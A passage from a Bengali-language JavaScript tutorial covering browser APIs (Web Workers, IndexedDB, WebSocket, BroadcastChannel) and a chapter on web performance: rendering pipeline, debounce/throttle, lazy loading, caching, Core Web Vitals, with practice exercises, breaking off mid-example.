dropzone.addEventListener("dragover", (e) => {
e.preventDefault(); // Required to allow drop!
dropzone.classList.add("drag-active");
});
dropzone.addEventListener("dragleave", () => {
dropzone.classList.remove("drag-active");
});
dropzone.addEventListener("drop", (e) => {
e.preventDefault();
dropzone.classList.remove("drag-active");
const files = e.dataTransfer.files;
console.log("Dropped files count:", files.length);
handleFileUpload(files[0]);
});
Dropped files count: 1 | Upload triggered
❓ একই অ্যাপ্লিকেশনের দুটি ওপেন ট্যাবের মধ্যে কীভাবে লাইভ মেসেজ পাস করবে?
// Run this code in Tab 1 and Tab 2:
const authChannel = new BroadcastChannel("auth_sync_channel");
// Tab 2 (Sender): When user logs out
function logoutUser() {
authChannel.postMessage({ type: "LOGOUT", timestamp: Date.now() });
}
// Tab 1 (Listener): Auto logout
authChannel.onmessage = (event) => {
if (event.data.type === "LOGOUT") {
console.log("User logged out in another tab! Redirecting to login...");
window.location.reload();
}
};
User logged out in another tab! Redirecting to login...
❓ ভারী কোনো হিসাব মেইন থ্রেড ব্লক না করে কীভাবে Web Worker দিয়ে চালাবে?
// main.js:
const worker = new Worker("heavy_worker.js");
worker.postMessage({ number: 45 }); // Offload heavy task
console.log("UI remains 100% responsive and silky smooth!");
worker.onmessage = (e) => {
console.log("Calculation Result from Worker:", e.data.result);
};
// heavy_worker.js (Isolated background thread):
self.onmessage = (e) => {
function fibonacci(n) {
return n <= 1 ? n : fibonacci(n - 1) + fibonacci(n - 2);
}
const result = fibonacci(e.data.number);
self.postMessage({ result });
};
UI remains 100% responsive! | Result: 1134903170
❓ ব্রাউজারে বড় আকারের অবজেক্ট কীভাবে IndexedDB-তে স্টোর ও রিট্রিভ করবে?
const req = indexedDB.open("OfflineStore", 1);
req.onupgradeneeded = (e) => {
const db = e.target.result;
db.createObjectStore("notes", { keyPath: "id", autoIncrement: true });
};
req.onsuccess = (e) => {
const db = e.target.result;
const tx = db.transaction("notes", "readwrite");
const store = tx.objectStore("notes");
store.add({ title: "Master JS Notes", date: new Date().toISOString() });
tx.oncomplete = () => console.log("Transaction saved to IndexedDB!");
};
Transaction saved to IndexedDB!
❓ সার্ভারের সাথে ফুল-ডুপ্লেক্স WebSocket কানেকশন কীভাবে হ্যান্ডল করবে?
const socket = new WebSocket("wss://echo.websocket.events");
socket.onopen = () => {
console.log("Connected to Real-time WebSocket Server!");
socket.send(JSON.stringify({ text: "Hello from Client!" }));
};
socket.onmessage = (event) => {
const msg = JSON.parse(event.data);
console.log("Message received from Server:", msg.text);
};
socket.onerror = (err) => console.error("Socket error:", err);
socket.onclose = () => console.log("Socket connection terminated cleanly.");
Connected to WebSocket! | Message received: Hello from Client!
❓ পেজ রিলোড ছাড়া History API দিয়ে সিঙ্গেল পেজ রাউটিং কীভাবে কাজ করে?
function navigateTo(urlPath) {
history.pushState({ path: urlPath }, "", urlPath);
renderPage(urlPath);
}
window.addEventListener("popstate", (event) => {
// Triggered when user presses Browser Back or Forward buttons!
renderPage(window.location.pathname);
});
function renderPage(path) {
console.log("Rendered SPA view for route:", path);
}
Rendered SPA view for route: /dashboard
❓ সার্ভার ছাড়া ব্রাউজার মেমরিতে টেক্সট/JSON ফাইল বানিয়ে স্বয়ংক্রিয়ভাবে কীভাবে ডাউনলোড করাবে?
function downloadJsonFile(dataObj, filename = "export.json") {
const jsonStr = JSON.stringify(dataObj, null, 2);
const blob = new Blob([jsonStr], { type: "application/json" });
const downloadUrl = URL.createObjectURL(blob);
const tempLink = document.createElement("a");
tempLink.href = downloadUrl;
tempLink.download = filename;
document.body.appendChild(tempLink);
tempLink.click();
// Clean up memory
document.body.removeChild(tempLink);
URL.revokeObjectURL(downloadUrl);
console.log("File downloaded & memory revoked cleanly.");
}
File downloaded & memory revoked cleanly.
ব্রাউজার ফিচার, ভিউপোর্ট অবজারভার, ডেটা স্টোরেজ ও থ্রেডিং কমিউনিকেশনের সামগ্রিক মানচিত্র:
Browser APIs │ ┌──────────────┼──────────────┐ │ │ │ Browser DOM/View Storage Features APIs │ │ │ │ ├─ Location ├─ Intersection ├─ IndexedDB ├─ Clipboard ├─ Mutation ├─ localStorage ├─ Notification├─ Resize └─ Cookies ├─ Share │ └─ History │ │ File & Data │ ┌───────┼────────┐ │ │ │ FileReader Blob Object URL Communication │ ┌───────┼────────┐ │ │ │ WebSocket Worker Broadcast Browser State │ ┌───────┼────────┐ │ │ │ Visibility Permissions Wake Lock
Web application শুধু কাজ করলেই আধুনিক ইঞ্জিনিয়ারিংয়ের দায়িত্ব শেষ হয় না—এটি যেন বিদ্যুৎ গতিতে লোড হয়, চোখের পলকে রেসপন্ড করে, ব্যাটারি ও মেমোরি সাশ্রয়ী হয় এবং মসৃণ ইউজার এক্সপেরিয়েন্স দেয়, সেটাই চূড়ান্ত লক্ষ্য। এই চ্যাপ্টারে আমরা Critical Rendering Path, Layout Thrashing, Debounce/Throttle, Lazy Loading, Code Splitting, Caching & CDN, Web Workers, Core Web Vitals (LCP, INP, CLS) এবং প্রোডাকশন অপ্টিমাইজেশন পদ্ধতি শিখব।
Web Performance হলো একটি website/web application কত দ্রুত এবং efficiently user-এর জন্য কাজ করে তার সামগ্রিক পরিমাপ। সহজভাবে:
User ↓ Website Open ↓ HTML Load ↓ CSS Load ↓ JavaScript Load ↓ Content Render ↓ User Interaction
এই পুরো process যত efficient হবে, website তত performant হবে।
ধরো দুইটি website:
Click ↓ 5 seconds wait ↓ Result
Click ↓ Fast response ↓ Result
User সাধারণত দ্রুত feedback পাওয়া application-কে বেশি usable মনে করবে। Performance-এর প্রভাব পড়ে:
একটি website performance broadly তিন ভাগে ভাবতে পারো:
Web Performance
│
┌────────────┼────────────┐
│ │ │
Network Browser Server
│ │ │
Download Render API/DB
Assets JS/CSS Response
Bottleneck হলো এমন অংশ যেটি পুরো system-এর performance আটকে দিচ্ছে। Example:
HTML → 100ms CSS → 200ms JS → 5 seconds Image → 300ms
এখানে JavaScript বড় bottleneck হতে পারে।
Browser সাধারণত:
URL ↓ DNS ↓ Connection ↓ HTTP Request ↓ Server Response ↓ HTML ↓ Parse HTML ↓ CSS/JS/Images ↓ Render ↓ Interaction
এখানে যেকোনো জায়গায় delay হতে পারে।
Browser-এর page render করার গুরুত্বপূর্ণ process:
HTML ↓ DOM
CSS ↓ CSSOM
তারপর:
DOM + CSSOM ↓ Render Tree ↓ Layout ↓ Paint ↓ Composite
HTML থেকে browser তৈরি করে:
HTML ↓ DOM
Example:
<h1>Hello</h1>
<p>World</p>
Conceptually:
Document ├── h1 │ └── "Hello" │ └── p └── "World"
CSS থেকে browser তৈরি করে:
CSS ↓ CSSOM
তারপর:
DOM + CSSOM ↓ Render Tree
Browser calculate করে:
এটি layout/reflow process-এর অংশ। Example:
element.style.width = "500px";
এতে layout recalculation প্রয়োজন হতে পারে।
Browser pixels আঁকে:
Layout ↓ Paint ↓ Pixels
যেমন:
Browser বিভিন্ন layer combine করে final screen তৈরি করতে পারে।
Painted Layers
↓
Composite
↓
Screen
DOM বা CSS-এর কোনো change-এর কারণে layout আবার calculate করতে হলে তাকে সাধারণভাবে reflow/layout recalculation বলা হয়। Example:
box.style.width = "500px";
box.style.height = "300px";
অনেক layout-affecting changes করলে browser-এর কাজ বাড়তে পারে।
কোনো visual property change হলে repaint হতে পারে। যেমন:
box.style.backgroundColor = "red";
সব property একইভাবে layout trigger করে না।
এটি একটি common performance problem। ধরো:
const box = document.querySelector(".box");
for (let i = 0; i < 1000; i++) {
box.style.width = i + "px";
console.log(box.offsetWidth);
}
এখানে বারবার:
Write ↓ Read layout ↓ Write ↓ Read layout
করার ফলে browser-কে repeated layout calculation করতে হতে পারে।
আগে values calculate:
const widths = [];
for (let i = 0; i < 1000; i++) {
widths.push(i);
}
for (const width of widths) {
box.style.width = width + "px";
}
আরও ভালো architecture/context অনুযায়ী batching বা CSS class ব্যবহার করা যায়।
❌ বারবার DOM change:
for (let i = 0; i < 1000; i++) {
const p = document.createElement("p");
p.textContent = `Item ${i}`;
document.body.appendChild(p);
}
এটি সবসময় catastrophic নয়, কিন্তু বড় DOM-এর ক্ষেত্রে repeated mutation expensive হতে পারে।
একসাথে DOM তৈরি করে শেষে append করা যায়।
const fragment = document.createDocumentFragment();
for (let i = 0; i < 1000; i++) {
const p = document.createElement("p");
p.textContent = `Item ${i}`;
fragment.appendChild(p);
}
document.body.appendChild(fragment);
Concept:
Create many elements
↓
Fragment
↓
One DOM insertion
ধরো:
app.js = 5 MB
Browser-কে এটি download, parse এবং execute করতে হবে। অন্যদিকে:
app.js = 200 KB
সাধারণত কম data transfer ও processing দরকার হবে। তাই:
Unused code বাদ দেওয়ার build optimization। Example:
export function add() {}
export function subtract() {}
export function multiply() {}
তুমি:
import { add } from "./math.js";
শুধু add() ব্যবহার করলে build tool unused export বাদ দেওয়ার সুযোগ পেতে পারে।
Source code ছোট করা। Before:
function calculateTotal(price, quantity) {
return price * quantity;
}
Minified concept:
function calculateTotal(a,b){return a*b}
ফলে file size কমতে পারে।
Server/client data transfer-এর সময় compression ব্যবহার করা যায়। Common compression:
Gzip Brotli
Concept:
Original File ↓ Compression ↓ Smaller Transfer ↓ Browser ↓ Decompression
Modern web delivery-তে Brotli (br) compression commonly ব্যবহৃত হয়। বিশেষ করে text assets-এর জন্য:
HTML CSS JS JSON
compression size কমাতে সাহায্য করতে পারে।
Website slow হওয়ার বড় কারণ image হতে পারে। ধরো:
hero-image.png = 8 MB
এটি unnecessary বড়। Optimize করা যায়:
Common formats:
JPEG PNG WebP AVIF SVG
যেমন photographic image-এর ক্ষেত্রে WebP/AVIF অনেক ক্ষেত্রে ছোট হতে পারে।
<img
src="image-800.jpg"
srcset="
image-400.jpg 400w,
image-800.jpg 800w,
image-1200.jpg 1200w
"
sizes="(max-width: 600px) 400px, 800px"
alt="Example"
>
Browser প্রয়োজন অনুযায়ী appropriate image resource নির্বাচন করতে পারে।
যে resource এখনই দরকার নেই, সেটি পরে load করা। Image:
<img
src="image.jpg"
loading="lazy"
alt="Example"
>
JavaScript-এর ক্ষেত্রেও code splitting/lazy import ব্যবহার করা যায়।
Page Load
↓
Everything load
Page Load ↓ Only necessary content ↓ User scroll/click ↓ Additional content load
ES Modules-এ:
const module = await import("./heavy-module.js");
এটি code-এর একটি অংশ প্রয়োজন হলে load করতে সাহায্য করতে পারে।
Large JavaScript application ভাগ করা:
app.js
↓
chunk-1.js
chunk-2.js
chunk-3.js
User যে feature ব্যবহার করবে তার প্রয়োজনীয় chunk load করা যেতে পারে। React application-এ:
const Dashboard = lazy(
() => import("./Dashboard.jsx")
);
Conceptually:
Initial Bundle
↓
Small
↓
User opens Dashboard
↓
Dashboard chunk loads
Rapid events-এর মধ্যে user থামার পর function execute করা। ধরো search input:
User types: H He Hel Hell Hello
প্রতিটি keystroke-এ API call করলে:
5 keystrokes
↓
5 API requests
Debounce:
User typing ↓ Wait ↓ User stops ↓ One API request
function debounce(fn, delay) {
let timer;
return function (...args) {
clearTimeout(timer);
timer = setTimeout(() => {
fn.apply(this, args);
}, delay);
};
}
Use:
const search = debounce((value) => {
console.log("Searching:", value);
}, 500);
Throttle নির্দিষ্ট সময়ের মধ্যে function execution limit করে। ধরো scroll event:
Scroll Scroll Scroll Scroll Scroll Scroll
Throttle করলে:
Execute ↓ Wait ↓ Execute ↓ Wait ↓ Execute
function throttle(fn, delay) {
let lastTime = 0;
return function (...args) {
const now = Date.now();
if (now - lastTime >= delay) {
lastTime = now;
fn.apply(this, args);
}
};
}
| Debounce | Throttle |
|---|---|
| User থামলে execute | নির্দিষ্ট interval-এ execute |
| Search | Scroll |
| Resize | Mouse move |
| Typing | Drag |
🧠 মনে রাখো:
Debounce → "Wait until quiet" Throttle → "Limit frequency"
অনেক child element-এ আলাদা listener না দিয়ে parent-এ listener দেওয়া যায়। HTML:
<ul id="list">
<li>One</li>
<li>Two</li>
<li>Three</li>
</ul>
JavaScript:
document
.querySelector("#list")
.addEventListener("click", (event) => {
if (event.target.matches("li")) {
console.log(event.target.textContent);
}
});
এতে অনেক listener না দিয়েও কাজ করা যায়।
Touch/scroll event-এ:
window.addEventListener(
"scroll",
handleScroll,
{ passive: true }
);
passive: true browser-কে জানায় listener preventDefault() ব্যবহার করবে না। কিছু scrolling scenario-তে এটি performance/scroll responsiveness-এর জন্য সাহায্য করতে পারে।
requestAnimationFrame()Animation বা visual update-এর জন্য:
requestAnimationFrame(() => {
box.style.transform = "translateX(100px)";
});
Browser-এর rendering cycle-এর সাথে visual updates synchronize করতে এটি useful।
setInterval() সব animation-এর জন্য ideal নয়?এভাবে:
setInterval(() => {
box.style.left = "...";
}, 16);
করার বদলে animation-এর জন্য সাধারণত:
requestAnimationFrame()
better choice হতে পারে।
let position = 0;
function animate() {
position += 2;
box.style.transform =
`translateX(${position}px)`;
if (position < 500) {
requestAnimationFrame(animate);
}
}
requestAnimationFrame(animate);
Animation-এর ক্ষেত্রে অনেক সময়:
transform: translateX(...);
এবং:
opacity: ...
এর মতো properties browser rendering pipeline-এর জন্য ভালোভাবে optimize করা যায়। অন্যদিকে frequent:
top left width height
change করলে layout work হতে পারে। এটি absolute rule নয়—browser implementation এবং surrounding layout-এর ওপরও নির্ভর করে।
will-change.box {
will-change: transform;
}
Browser-কে future change সম্পর্কে hint দিতে পারে। ⚠️ সব element-এ:
will-change: transform;
দেওয়া উচিত নয়। কারণ excessive layer/resource usage হতে পারে।
Browser static resource cache করতে পারে। যেমন:
logo.png style.css app.js
প্রথমবার download:
Server ↓ Browser ↓ Cache
পরেরবার cache policy অনুযায়ী network request কমতে পারে।
Important concepts:
Cache-Control ETag Last-Modified Expires
Example:
Cache-Control: public, max-age=31536000
মানে resource cache করার policy নির্দেশ করা হচ্ছে।
Common concepts:
max-age no-cache no-store public private
no-storeResponse store না করার নির্দেশ দেয়। Sensitive data-এর ক্ষেত্রে গুরুত্বপূর্ণ হতে পারে।
max-ageকত সময় fresh হিসেবে treat করা হবে তার নির্দেশ দিতে পারে।
Server resource-এর একটি identifier দিতে পারে:
ETag: "abc123"
পরবর্তী request-এ browser পাঠাতে পারে:
If-None-Match: "abc123"
Resource পরিবর্তন না হলে server:
304 Not Modified
দিতে পারে।
CDN = Content Delivery Network Static assets user-এর কাছাকাছি edge location থেকে serve করতে পারে।
Origin Server
│
┌─────┼─────┐
↓ ↓ ↓
CDN CDN CDN
│ │ │
User User User
Benefits:
Browser DevTools-এর Network tab-এ দেখতে পারো:
HTML ├── CSS ├── JS ├── Image ├── Font └── API
প্রতিটির:
দেখা যায়।
Browser DevTools → Performance এখানে recording করে দেখতে পারো:
JavaScript execution
Rendering
Painting
Layout
Long Tasks
Frames
Main thread-এ খুব দীর্ঘ JavaScript task হলে UI responsiveness কমে যেতে পারে। Concept:
User Click ↓ Heavy JS ↓ Main Thread Busy ↓ UI delayed
এজন্য heavy work:
ইত্যাদি দিয়ে handle করা যায়।
Browser-এর main thread সাধারণত:
JavaScript + DOM + Style/Layout related work + User Interaction
এর বড় অংশ handle করে। যদি JavaScript:
while (true) {
// never ending
}
চালাও, UI freeze হয়ে যেতে পারে।
Chapter 32-এ আমরা Web Worker দেখেছি। Heavy computation:
Main Thread
│
├── UI
├── DOM
└── Interaction
Worker
│
└── Heavy computation
এতে main thread-এর ওপর চাপ কমানো যায়।
Performance শুধু speed নয়। Memory usage-ও গুরুত্বপূর্ণ। Potential সমস্যা:
Huge Array Huge Object Unremoved Event Listener Detached DOM Growing Cache
এগুলো memory usage বাড়াতে পারে। Chapter 30-এর Garbage Collection knowledge এখানে কাজে লাগে।
const cache = [];
function addData(data) {
cache.push(data);
}
যদি cache কখনো clean না হয়:
cache ↓ Data ↓ More Data ↓ More Data ↓ More Data
Memory usage ক্রমেই বাড়তে পারে।
Chapter 32-এর knowledge combine করলে:
const images =
document.querySelectorAll("img[data-src]");
const observer =
new IntersectionObserver(entries => {
entries.forEach(entry => {
if (!entry.isIntersecting) return;
const img = entry.target;
img.src = img.dataset.src;
observer.unobserve(img);
});
});
images.forEach(img => observer.observe(img));
এটি একটি real performance technique।
button.addEventListener("click", async () => {
const module =
await import("./heavyFeature.js");
module.start();
});
User click না করা পর্যন্ত heavy feature-এর code load না করানো যেতে পারে।
কিছু critical resource আগে load করার জন্য:
<link
rel="preload"
href="/fonts/main.woff2"
as="font"
type="font/woff2"
crossorigin
>
⚠️ Preload শুধু genuinely critical resource-এর জন্য ব্যবহার করা ভালো।
Future navigation-এর সম্ভাব্য resource আগে fetch করতে:
<link
rel="prefetch"
href="/next-page.js"
>
Browser support/priority behavior অনুযায়ী actual loading timing পরিবর্তিত হতে পারে।
defer vs asyncHTML:
<script src="app.js" defer></script>
deferHTML parsing block না করে script download করতে পারে এবং document parse শেষ হলে execution করে। Multiple deferred scripts সাধারণত document order অনুযায়ী execute হয়।
async<script src="analytics.js" async></script>
Download complete হলে execution শুরু হতে পারে, parsing-এর সাথে timing overlap করতে পারে। একাধিক async script-এর execution order guaranteed নয়।
defer | async |
|---|---|
| Download parallel হতে পারে | Download parallel হতে পারে |
| HTML parsing block না করে | HTML parsing block না করে |
| Parse complete হওয়ার পরে execute | Download শেষ হলেই execute হতে পারে |
| Order maintained | Order guaranteed নয় |
Above-the-fold content-এর জন্য প্রয়োজনীয় CSS দ্রুত দিতে critical CSS strategy ব্যবহার করা যায়। Concept:
Critical CSS ↓ Initial render ↓ Remaining CSS ↓ Later
Web fonts performance affect করতে পারে। Strategies:
font-display ব্যবহারExample:
@font-face {
font-family: "MyFont";
src: url("/font.woff2") format("woff2");
font-display: swap;
}
Frontend slow হওয়ার কারণ সবসময় frontend নয়। ধরো:
Button Click ↓ API Request ↓ Server ↓ Database ↓ Server ↓ Response ↓ UI
Database slow হলে frontend-ও slow মনে হবে।
Backend side:
Frontend side:
Unnecessary request cancel করতে:
const controller = new AbortController();
fetch("/api/search", {
signal: controller.signal
});
Cancel:
controller.abort();
Search:
User types: Java ↓ Request 1 User types: JavaScript ↓ Request 2
আগের unnecessary request cancel করা যেতে পারে।
Optimization করার আগে measure করতে হবে। Golden rule:
Measure ↓ Find Bottleneck ↓ Optimize ↓ Measure Again
শুধু অনুমান করে optimization করা উচিত নয়।
Modern web performance-এর গুরুত্বপূর্ণ user-centric metrics:
Largest Contentful Paint Main content কত দ্রুত visible হয় তার একটি গুরুত্বপূর্ণ metric।
Interaction to Next Paint User interaction-এর পরে page কত দ্রুত visual response দেয় তার metric।
Cumulative Layout Shift Page-এর content unexpected ভাবে কতটা নড়ে যায় তা measure করে।
Example:
Page open ↓ Hero heading/image ↓ Main content visible
এই গুরুত্বপূর্ণ content দ্রুত render হওয়া ভালো। LCP improve করতে:
ধরো:
User clicks button
↓
Heavy JavaScript
↓
UI responds late
এটি poor interaction responsiveness-এর sign। Improve করতে:
ব্যবহার করা যায়।
Example:
Page load Text ↓ Image loads ↓ Image জায়গা নেয় ↓ Text নিচে নেমে গেল
এটি layout shift।
Image-এর dimensions define করুন:
<img
src="image.jpg"
width="800"
height="500"
alt="Example"
>
অথবা CSS aspect ratio reserve করুন।
loading="lazy"<img
src="photo.jpg"
loading="lazy"
alt="Photo"
>
Browser-এর native lazy loading ব্যবহার করা যায়।
Project-এর জন্য performance target define করা যায়। Example:
JavaScript < 300 KB
Images < 1 MB
LCP < target
API response < target
এটি team-কে performance-aware development করতে সাহায্য করে।
Deployment-এর আগে:
□ Images optimized □ Unnecessary JS removed □ Code splitting considered □ Lazy loading used where appropriate □ Compression enabled □ Cache strategy configured □ API optimized □ No unnecessary API requests □ Console/debug code reviewed □ Source maps strategy reviewed □ Performance measured □ Mobile tested
প্রোডাকশন গ্রেড ওয়েব অ্যাপ্লিকেশনের গতি ও রেসপন্সিভনেস নিশ্চিত করার জন্য এই ১০টি আর্কিটেকচারাল প্যাটার্ন সর্বদা মনে রাখা প্রয়োজন:
| Topic | Main Concept & Mechanism |
|---|---|
| DOM | HTML ডকুমেন্টের ইন-মেমোরি নোড ট্রি গঠন |
| CSSOM | CSS সিলেক্টর ও স্টাইল রুলসের ক্যাস্কেডিং অবজেক্ট ট্রি |
| Layout (Reflow) | উপাদানের জ্যামিতিক সাইজ ও স্ক্রিনে সঠিক পজিশন গণনা |
| Paint (Repaint) | পিক্সেল ড্রয়িং (রং, ব্যাকগ্রাউন্ড, শ্যাডো, বর্ডার রেন্ডারিং) |
| Composite | আলাদা জিপিইউ লেয়ারসমূহকে স্ক্রিনে একত্রিত করা |
| Debounce | ব্যবহারকারীর অ্যাকশন থামা পর্যন্ত ফাংশন এক্সিকিউশন স্থগিত রাখা |
| Throttle | নির্দিষ্ট সময় ব্যবধানে সর্বোচ্চ একবার ফাংশন এক্সিকিউট করা |
| Lazy Loading | উপাদান স্ক্রিনে আসার ঠিক আগ মুহূর্তে লোড করা (loading="lazy") |
| Code Splitting | বিশাল বান্ডেল ভেঙে ছোট ছোট অন-ডিমান্ড চাঙ্ক তৈরি করা |
| Tree Shaking | বিল্ড টাইমে অব্যবহৃত ডেড-কোড স্বয়ংক্রিয়ভাবে মুছে ফেলা |
| Minification | হোয়াইটস্পেস ও ভ্যারিয়েবল নাম ছোট করে সাইজ সংকুচিত করা |
| Compression | ট্রান্সফারের সময় Brotli/Gzip দিয়ে ফাইল সাইজ কমানো |
| CDN | ভৌগোলিকভাবে ব্যবহারকারীর নিকটবর্তী এজ-সার্ভার থেকে ফাইল পরিবেশন |
| HTTP Cache | Cache-Control: max-age দিয়ে ব্রাউজারে রিসোর্স পুনব্যবহার |
| Web Worker | মেইন থ্রেডকে ফ্রি রেখে ব্যাকগ্রাউন্ড থ্রেডে হেভি প্রসেসিং |
| requestAnimationFrame | ব্রাউজারের রিফ্রেশ রেটের (60FPS/16.6ms) সাথে সিঙ্ক করে স্মুথ অ্যানিমেশন |
| AbortController | অপ্রয়োজনীয় বা পুরাতন ফেচ রিকোয়েস্ট তৎক্ষণাৎ বাতিল করা |
| LCP (Largest Contentful Paint) | পেজের সবচেয়ে বড় কন্টেন্ট রেন্ডার হওয়ার সময় (লক্ষ্য: < 2.5s) |
| INP (Interaction to Next Paint) | ইউজার ক্লিকের পর ভিজ্যুয়াল রেসপন্স পেতে দেরি (লক্ষ্য: < 200ms) |
| CLS (Cumulative Layout Shift) | পেজ লোড হওয়ার সময় কন্টেন্টের অনাকাঙ্ক্ষিত নড়াচড়া (লক্ষ্য: < 0.1) |
সমস্যা ও লক্ষ্য: একটি search input তৈরি করুন এবং debounce ব্যবহার করে console-এ search value print করুন। টাইপিং থামার ৫০০ms পর রিকোয়েস্ট কার্যকর হবে।
<!-- HTML Search Input Markup -->
<div class="search-box">
<input type="text" id="search-input" placeholder="Search products, documentation..." autocomplete="off">
<div id="search-status">Typing triggers debounced API call after 500ms idle</div>
</div>
// 1. Debounce Utility Function
function debounce(func, delay = 500) {
let timerId = null;
return function(...args) {
clearTimeout(timerId); // পূর্বের টাইমার বাতিল
timerId = setTimeout(() => {
func.apply(this, args); // বিলম্ব শেষে মূল ফাংশন কল
}, delay);
};
}
// 2. Search Handler Function
function handleSearch(query) {
console.log(`[API Search Triggered]: "${query}" at ${new Date().toLocaleTimeString()}`);
}
// 3. Debounced Wrapper & Event Listener
const debouncedSearch = debounce((event) => {
handleSearch(event.target.value.trim());
}, 500);
const searchInput = document.getElementById('search-input');
searchInput.addEventListener('input', debouncedSearch);
সমস্যা ও লক্ষ্য: একটি scroll event-এ throttle ব্যবহার করুন যাতে প্রতি ৩০০ms-এ সর্বোচ্চ একবার স্ক্রল পজিশন গণনা ও কনসোলে লগ হয়।
// 1. Timestamp-based Throttle Utility
function throttle(func, interval = 300) {
let lastTime = 0;
return function(...args) {
const now = Date.now();
if (now - lastTime >= interval) {
lastTime = now;
func.apply(this, args);
}
};
}
// 2. Scroll Progress Tracker
function logScrollPosition() {
const scrollTop = window.scrollY || document.documentElement.scrollTop;
const docHeight = document.documentElement.scrollHeight - window.innerHeight;
const progress = Math.round((scrollTop / docHeight) * 100);
console.log(`[Throttled Scroll] Position: ${scrollTop}px | Read: ${progress}%`);
}
// 3. Throttled Listener Attachment with Passive Flag
window.addEventListener('scroll', throttle(logScrollPosition, 300), { passive: true });
সমস্যা ও লক্ষ্য: একটি image-এ loading="lazy" ও srcset ব্যবহার করে আধুনিক নেটিভ লেজি লোডিং টেস্ট ও পরিমাপ করুন।
<!-- High-Performance Native Responsive Lazy Image -->
<picture>
<source srcset="hero-large.avif 1200w, hero-medium.avif 800w" type="image/avif">
<source srcset="hero-large.webp 1200w, hero-medium.webp 800w" type="image/webp">
<img
src="hero-fallback.jpg"
loading="lazy"
decoding="async"
width="800"
height="450"
alt="Performance Dashboard Mockup"
class="perf-lazy"
>
</picture>
// Image Load Event Listener & Metrics
const lazyImg = document.querySelector('img.perf-lazy');
lazyImg.addEventListener('load', () => {
console.log('✅ Image loaded successfully on viewport entry!');
lazyImg.classList.add('loaded'); // CSS ফেইড-ইন ট্রানজিশন
});
lazyImg.addEventListener('error', () => {
console.error('❌ Failed to load high-res image. Fallback triggered.');
});
সমস্যা ও লক্ষ্য: requestAnimationFrame() ব্যবহার করে একটি box-কে স্ক্রিনে মসৃণভাবে মুভ করান এবং ডেল্টা টাইম অনুযায়ী ফ্রেম ড্রপ পরিহার করুন।
const box = document.getElementById('animated-box');
let startTimestamp = null;
const duration = 2000; // ২ সেকেন্ডে এনিমেশন শেষ হবে
const targetDistance = 400; // ৪০০ পিক্সেল ডানে সরবে
function animateBox(timestamp) {
if (!startTimestamp) startTimestamp = timestamp;
const elapsed = timestamp - startTimestamp;
const progress = Math.min(elapsed / duration, 1); // ০ থেকে ১ পর্যন্ত প্রগ্রেস
// Easing function (easeOutQuad)
const easeProgress = 1 - (1 - progress) * (1 - progress);
const currentX = easeProgress * targetDistance;
// GPU-accelerated 3D Transform ব্যবহার (Reflow ও Repaint শূন্য)
box.style.transform = `translate3d(${currentX}px, 0, 0)`;
if (progress < 1) {
requestAnimationFrame(animateBox); // পরবর্তী ফ্রেমের জন্য রিকোয়েস্ট
} else {
console.log('🏁 60FPS Smooth Animation Complete!');
}
}
// এনিমেশন শুরু
requestAnimationFrame(animateBox);
সমস্যা ও লক্ষ্য: ১০০০টি DOM element তৈরি করুন এবং সাধারণ লুপের বদলে DocumentFragment ব্যবহার করে মাত্র ১টি Reflow ও Repaint-এ অ্যাপেন্ড করুন।
const container = document.getElementById('user-list');
// ❌ Bad Approach: প্রতি লুপে অ্যাপেন্ড (১০০০ বার রিফ্লো ও রিপেইন্ট)
// for (let i = 0; i < 1000; i++) container.appendChild(createNode(i));
// ✅ Master Production Approach: DocumentFragment ব্যবহার
console.time('DocumentFragment Insertion');
const fragment = document.createDocumentFragment(); // ভার্চুয়াল মেমোরি কন্টেইনার
for (let i = 1; i <= 1000; i++) {
const item = document.createElement('li');
item.className = 'list-item';
item.textContent = `Customer Record #${i} — Verified Active`;
fragment.appendChild(item); // মেমোরিতে নোড যুক্ত (কোনো DOM রিফ্লো নেই)
}
// মূল DOM-এ মাত্র ১টি ট্রানজেকশনে ১০০০টি নোড অ্যাপেন্ড
container.appendChild(fragment);
console.timeEnd('DocumentFragment Insertion');
console.log('✅ 1,000 DOM Nodes rendered in a single Composite tick!');
সমস্যা ও লক্ষ্য: IntersectionObserver দিয়ে 'Loading...' স্কেলেটন থেকে একচুয়াল ইমেজ ভিউপোর্টে প্রবেশ করার পর লোড করুন ও আন-অবজার্ভ করুন।
<img data-src="https://images.unsplash.com/photo-perf.jpg" src="data:image/svg+xml,...placeholder..." class="skeleton-loading" width="600" height="400" alt="Product Showcase">
// 1. Observer Configuration
const observerOptions = {
root: null, // ভিউপোর্ট ডিটেকশন
rootMargin: '100px', // স্ক্রিনে আসার ১০০ পিক্সেল আগেই প্রি-লোড শুরু হবে
threshold: 0.01 // ১% দৃশ্যমান হলেই ট্রিগার
};
// 2. IntersectionObserver Instance
const lazyObserver = new IntersectionObserver((entries, observer) => {
entries.forEach(entry => {
if (entry.isIntersecting) {
const img = entry.target;
const actualSrc = img.getAttribute('data-src');
// Placeholder থেকে আসল সোর্সে রূপান্তর
img.src = actualSrc;
img.onload = () => {
img.classList.remove('skeleton-loading');
img.classList.add('img-visible');
};
// মেমোরি লিক রোধে টাস্ক শেষে আন-অবজার্ভ
observer.unobserve(img);
console.log(`[LazyLoaded] ${actualSrc}`);
}
});
}, observerOptions);
// 3. Observe All Data-Src Images
document.querySelectorAll('img[data-src]').forEach(img => lazyObserver.observe(img));
সমস্যা ও লক্ষ্য: Dynamic import() ব্যবহার করে ইউজার বাটনে ক্লিক করলে তবেই একটি ভারী গ্রাফ চার্টিং মডিউল lazy-load করুন।
const chartBtn = document.getElementById('load-chart-btn');
const chartContainer = document.getElementById('chart-container');
chartBtn.addEventListener('click', async () => {
try {
chartBtn.disabled = true;
chartBtn.textContent = 'Loading Chart Engine...';
// ডাইনামিক ইমপোর্টের মাধ্যমে মডিউল শুধু প্রয়োজনে নেটওয়ার্ক থেকে নামবে
const { renderSalesChart } = await import('./modules/heavyChart.js');
const sampleData = [120, 190, 300, 500, 200, 350];
renderSalesChart(chartContainer, sampleData);
chartBtn.textContent = '✅ Chart Rendered';
} catch (error) {
console.error('Failed to dynamically load chart module:', error);
chartBtn.textContent = '❌ Loading Failed';
chartBtn.disabled = false;
}
});
সমস্যা ও লক্ষ্য: Typing -> Debounce -> fetch() -> AbortController আর্কিটেকচারে পুরাতন পেন্ডিং রিকোয়েস্ট বাতিল করার সম্পূর্ণ প্রোডাকশন সলিউশন।
let currentAbortController = null;
// Debounced Search with Abort Signal
const searchProducts = debounce(async (searchTerm) => {
if (!searchTerm) return;
// ১. পূর্বের রিকোয়েস্ট যদি এখনো পেন্ডিং থাকে, তাকে বাতিল করুন
if (currentAbortController) {
